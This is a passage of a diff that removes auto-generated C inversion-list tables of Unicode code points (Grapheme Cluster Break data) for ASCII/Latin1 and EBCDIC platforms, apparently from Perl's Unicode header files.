- 0xDF2, - 0xDF4, - 0xE31, - 0xE32, - 0xE33, - 0xE3B, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB3, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF71, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1038, - 0x1039, - 0x103F, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1084, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x1100, - 0x1200, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17D4, - 0x17DD, - 0x17DE, - 0x180B, - 0x180F, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1A17, - 0x1A1C, - 0x1A55, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BE6, - 0x1BF4, - 0x1C24, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x200B, - 0x2010, - 0x2028, - 0x202F, - 0x2060, - 0x2070, - 0x20D0, - 0x20F1, - 0x261D, - 0x261E, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2695, - 0x2697, - 0x26F9, - 0x26FA, - 0x2708, - 0x2709, - 0x270A, - 0x270E, - 0x2764, - 0x2765, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x3030, - 0x3099, - 0x309B, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4E, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEB, - 0xAAF0, - 0xAAF5, - 0xAAF7, - 0xABE3, - 0xABEB, - 0xABEC, - 0xABEE, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xD800, - 0xE000, - 0xFB1E, - 0xFB1F, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFEFF, - 0xFF00, - 0xFF9E, - 0xFFA0, - 0xFFF0, - 0xFFFC, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11000, - 0x11003, - 0x11038, - 0x11047, - 0x1107F, - 0x11083, - 0x110B0, - 0x110BB, - 0x110BD, - 0x110BE, - 0x11100, - 0x11103, - 0x11127, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C2, - 0x111C4, - 0x111CA, - 0x111CD, - 0x1122C, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112EB, - 0x11300, - 0x11304, - 0x1133C, - 0x1133D, - 0x1133E, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11357, - 0x11358, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11435, - 0x11447, - 0x114B0, - 0x114C4, - 0x115AF, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11630, - 0x11641, - 0x116AB, - 0x116B8, - 0x1171D, - 0x1172C, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A5C, - 0x11A86, - 0x11A9A, - 0x11C2F, - 0x11C37, - 0x11C38, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F51, - 0x16F7F, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0x1F1E6, - 0x1F200, - 0x1F308, - 0x1F309, - 0x1F33E, - 0x1F33F, - 0x1F373, - 0x1F374, - 0x1F385, - 0x1F386, - 0x1F393, - 0x1F394, - 0x1F3A4, - 0x1F3A5, - 0x1F3A8, - 0x1F3A9, - 0x1F3C2, - 0x1F3C5, - 0x1F3C7, - 0x1F3C8, - 0x1F3CA, - 0x1F3CD, - 0x1F3EB, - 0x1F3EC, - 0x1F3ED, - 0x1F3EE, - 0x1F3FB, - 0x1F400, - 0x1F442, - 0x1F444, - 0x1F446, - 0x1F451, - 0x1F466, - 0x1F46A, - 0x1F46E, - 0x1F46F, - 0x1F470, - 0x1F479, - 0x1F47C, - 0x1F47D, - 0x1F481, - 0x1F484, - 0x1F485, - 0x1F488, - 0x1F48B, - 0x1F48C, - 0x1F4AA, - 0x1F4AB, - 0x1F4BB, - 0x1F4BD, - 0x1F527, - 0x1F528, - 0x1F52C, - 0x1F52D, - 0x1F574, - 0x1F576, - 0x1F57A, - 0x1F57B, - 0x1F590, - 0x1F591, - 0x1F595, - 0x1F597, - 0x1F5E8, - 0x1F5E9, - 0x1F645, - 0x1F648, - 0x1F64B, - 0x1F650, - 0x1F680, - 0x1F681, - 0x1F692, - 0x1F693, - 0x1F6A3, - 0x1F6A4, - 0x1F6B4, - 0x1F6B7, - 0x1F6C0, - 0x1F6C1, - 0x1F6CC, - 0x1F6CD, - 0x1F918, - 0x1F91D, - 0x1F91E, - 0x1F920, - 0x1F926, - 0x1F927, - 0x1F930, - 0x1F93A, - 0x1F93D, - 0x1F93F, - 0x1F9D1, - 0x1F9DE, - 0xE0000, - 0xE1000 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_GCB__XX_invlist[] = { /* for EBCDIC 1047 */ - 672, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0xCA, - 0xCB, - 0xFF, - 0x100, - 0x300, - 0x370, - 0x483, - 0x48A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x600, - 0x606, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DE, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x70F, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F4, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x984, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9E2, - 0x9E4, - 0xA01, - 0xA04, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xABC, - 0xABD, - 0xABE, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB04, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xC00, - 0xC04, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC84, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCE2, - 0xCE4, - 0xD00, - 0xD04, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD57, - 0xD58, - 0xD62, - 0xD64, - 0xD82, - 0xD84, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF4, - 0xE31, - 0xE32, - 0xE33, - 0xE3B, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB3, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF71, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1038, - 0x1039, - 0x103F, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1084, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x1100, - 0x1200, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17D4, - 0x17DD, - 0x17DE, - 0x180B, - 0x180F, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1A17, - 0x1A1C, - 0x1A55, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BE6, - 0x1BF4, - 0x1C24, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x200B, - 0x2010, - 0x2028, - 0x202F, - 0x2060, - 0x2070, - 0x20D0, - 0x20F1, - 0x261D, - 0x261E, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2695, - 0x2697, - 0x26F9, - 0x26FA, - 0x2708, - 0x2709, - 0x270A, - 0x270E, - 0x2764, - 0x2765, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x3030, - 0x3099, - 0x309B, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4E, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEB, - 0xAAF0, - 0xAAF5, - 0xAAF7, - 0xABE3, - 0xABEB, - 0xABEC, - 0xABEE, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xD800, - 0xE000, - 0xFB1E, - 0xFB1F, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFEFF, - 0xFF00, - 0xFF9E, - 0xFFA0, - 0xFFF0, - 0xFFFC, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11000, - 0x11003, - 0x11038, - 0x11047, - 0x1107F, - 0x11083, - 0x110B0, - 0x110BB, - 0x110BD, - 0x110BE, - 0x11100, - 0x11103, - 0x11127, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C2, - 0x111C4, - 0x111CA, - 0x111CD, - 0x1122C, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112EB, - 0x11300, - 0x11304, - 0x1133C, - 0x1133D, - 0x1133E, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11357, - 0x11358, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11435, - 0x11447, - 0x114B0, - 0x114C4, - 0x115AF, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11630, - 0x11641, - 0x116AB, - 0x116B8, - 0x1171D, - 0x1172C, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A5C, - 0x11A86, - 0x11A9A, - 0x11C2F, - 0x11C37, - 0x11C38, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F51, - 0x16F7F, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0x1F1E6, - 0x1F200, - 0x1F308, - 0x1F309, - 0x1F33E, - 0x1F33F, - 0x1F373, - 0x1F374, - 0x1F385, - 0x1F386, - 0x1F393, - 0x1F394, - 0x1F3A4, - 0x1F3A5, - 0x1F3A8, - 0x1F3A9, - 0x1F3C2, - 0x1F3C5, - 0x1F3C7, - 0x1F3C8, - 0x1F3CA, - 0x1F3CD, - 0x1F3EB, - 0x1F3EC, - 0x1F3ED, - 0x1F3EE, - 0x1F3FB, - 0x1F400, - 0x1F442, - 0x1F444, - 0x1F446, - 0x1F451, - 0x1F466, - 0x1F46A, - 0x1F46E, - 0x1F46F, - 0x1F470, - 0x1F479, - 0x1F47C, - 0x1F47D, - 0x1F481, - 0x1F484, - 0x1F485, - 0x1F488, - 0x1F48B, - 0x1F48C, - 0x1F4AA, - 0x1F4AB, - 0x1F4BB, - 0x1F4BD, - 0x1F527, - 0x1F528, - 0x1F52C, - 0x1F52D, - 0x1F574, - 0x1F576, - 0x1F57A, - 0x1F57B, - 0x1F590, - 0x1F591, - 0x1F595, - 0x1F597, - 0x1F5E8, - 0x1F5E9, - 0x1F645, - 0x1F648, - 0x1F64B, - 0x1F650, - 0x1F680, - 0x1F681, - 0x1F692, - 0x1F693, - 0x1F6A3, - 0x1F6A4, - 0x1F6B4, - 0x1F6B7, - 0x1F6C0, - 0x1F6C1, - 0x1F6CC, - 0x1F6CD, - 0x1F918, - 0x1F91D, - 0x1F91E, - 0x1F920, - 0x1F926, - 0x1F927, - 0x1F930, - 0x1F93A, - 0x1F93D, - 0x1F93F, - 0x1F9D1, - 0x1F9DE, - 0xE0000, - 0xE1000 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_GCB__XX_invlist[] = { /* for EBCDIC 037 */ - 672, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0xCA, - 0xCB, - 0xFF, - 0x100, - 0x300, - 0x370, - 0x483, - 0x48A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x600, - 0x606, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x64B, - 0x660, - 0x670, - 0x671, - 0x6D6, - 0x6DE, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x70F, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x7A6, - 0x7B1, - 0x7EB, - 0x7F4, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x859, - 0x85C, - 0x8D4, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x984, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9E2, - 0x9E4, - 0xA01, - 0xA04, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xABC, - 0xABD, - 0xABE, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB04, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xC00, - 0xC04, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC84, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCE2, - 0xCE4, - 0xD00, - 0xD04, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4F, - 0xD57, - 0xD58, - 0xD62, - 0xD64, - 0xD82, - 0xD84, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF4, - 0xE31, - 0xE32, - 0xE33, - 0xE3B, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB3, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF71, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102D, - 0x1038, - 0x1039, - 0x103F, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1071, - 0x1075, - 0x1082, - 0x1083, - 0x1084, - 0x1087, - 0x108D, - 0x108E, - 0x109D, - 0x109E, - 0x1100, - 0x1200, - 0x135D, - 0x1360, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B4, - 0x17D4, - 0x17DD, - 0x17DE, - 0x180B, - 0x180F, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1A17, - 0x1A1C, - 0x1A55, - 0x1A5F, - 0x1A60, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BE6, - 0x1BF4, - 0x1C24, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x200B, - 0x2010, - 0x2028, - 0x202F, - 0x2060, - 0x2070, - 0x20D0, - 0x20F1, - 0x261D, - 0x261E, - 0x2640, - 0x2641, - 0x2642, - 0x2643, - 0x2695, - 0x2697, - 0x26F9, - 0x26FA, - 0x2708, - 0x2709, - 0x270A, - 0x270E, - 0x2764, - 0x2765, - 0x2CEF, - 0x2CF2, - 0x2D7F, - 0x2D80, - 0x2DE0, - 0x2E00, - 0x302A, - 0x3030, - 0x3099, - 0x309B, - 0xA66F, - 0xA673, - 0xA674, - 0xA67E, - 0xA69E, - 0xA6A0, - 0xA6F0, - 0xA6F2, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA926, - 0xA92E, - 0xA947, - 0xA954, - 0xA960, - 0xA97D, - 0xA980, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4E, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEB, - 0xAAF0, - 0xAAF5, - 0xAAF7, - 0xABE3, - 0xABEB, - 0xABEC, - 0xABEE, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xD800, - 0xE000, - 0xFB1E, - 0xFB1F, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFEFF, - 0xFF00, - 0xFF9E, - 0xFFA0, - 0xFFF0, - 0xFFFC, - 0x101FD, - 0x101FE, - 0x102E0, - 0x102E1, - 0x10376, - 0x1037B, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, - 0x10AE5, - 0x10AE7, - 0x11000, - 0x11003, - 0x11038, - 0x11047, - 0x1107F, - 0x11083, - 0x110B0, - 0x110BB, - 0x110BD, - 0x110BE, - 0x11100, - 0x11103, - 0x11127, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C2, - 0x111C4, - 0x111CA, - 0x111CD, - 0x1122C, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112EB, - 0x11300, - 0x11304, - 0x1133C, - 0x1133D, - 0x1133E, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11357, - 0x11358, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11435, - 0x11447, - 0x114B0, - 0x114C4, - 0x115AF, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11630, - 0x11641, - 0x116AB, - 0x116B8, - 0x1171D, - 0x1172C, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A51, - 0x11A5C, - 0x11A86, - 0x11A9A, - 0x11C2F, - 0x11C37, - 0x11C38, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x16AF0, - 0x16AF5, - 0x16B30, - 0x16B37, - 0x16F51, - 0x16F7F, - 0x16F8F, - 0x16F93, - 0x1BC9D, - 0x1BC9F, - 0x1BCA0, - 0x1BCA4, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E8D0, - 0x1E8D7, - 0x1E944, - 0x1E94B, - 0x1F1E6, - 0x1F200, - 0x1F308, - 0x1F309, - 0x1F33E, - 0x1F33F, - 0x1F373, - 0x1F374, - 0x1F385, - 0x1F386, - 0x1F393, - 0x1F394, - 0x1F3A4, - 0x1F3A5, - 0x1F3A8, - 0x1F3A9, - 0x1F3C2, - 0x1F3C5, - 0x1F3C7, - 0x1F3C8, - 0x1F3CA, - 0x1F3CD, - 0x1F3EB, - 0x1F3EC, - 0x1F3ED, - 0x1F3EE, - 0x1F3FB, - 0x1F400, - 0x1F442, - 0x1F444, - 0x1F446, - 0x1F451, - 0x1F466, - 0x1F46A, - 0x1F46E, - 0x1F46F, - 0x1F470, - 0x1F479, - 0x1F47C, - 0x1F47D, - 0x1F481, - 0x1F484, - 0x1F485, - 0x1F488, - 0x1F48B, - 0x1F48C, - 0x1F4AA, - 0x1F4AB, - 0x1F4BB, - 0x1F4BD, - 0x1F527, - 0x1F528, - 0x1F52C, - 0x1F52D, - 0x1F574, - 0x1F576, - 0x1F57A, - 0x1F57B, - 0x1F590, - 0x1F591, - 0x1F595, - 0x1F597, - 0x1F5E8, - 0x1F5E9, - 0x1F645, - 0x1F648, - 0x1F64B, - 0x1F650, - 0x1F680, - 0x1F681, - 0x1F692, - 0x1F693, - 0x1F6A3, - 0x1F6A4, - 0x1F6B4, - 0x1F6B7, - 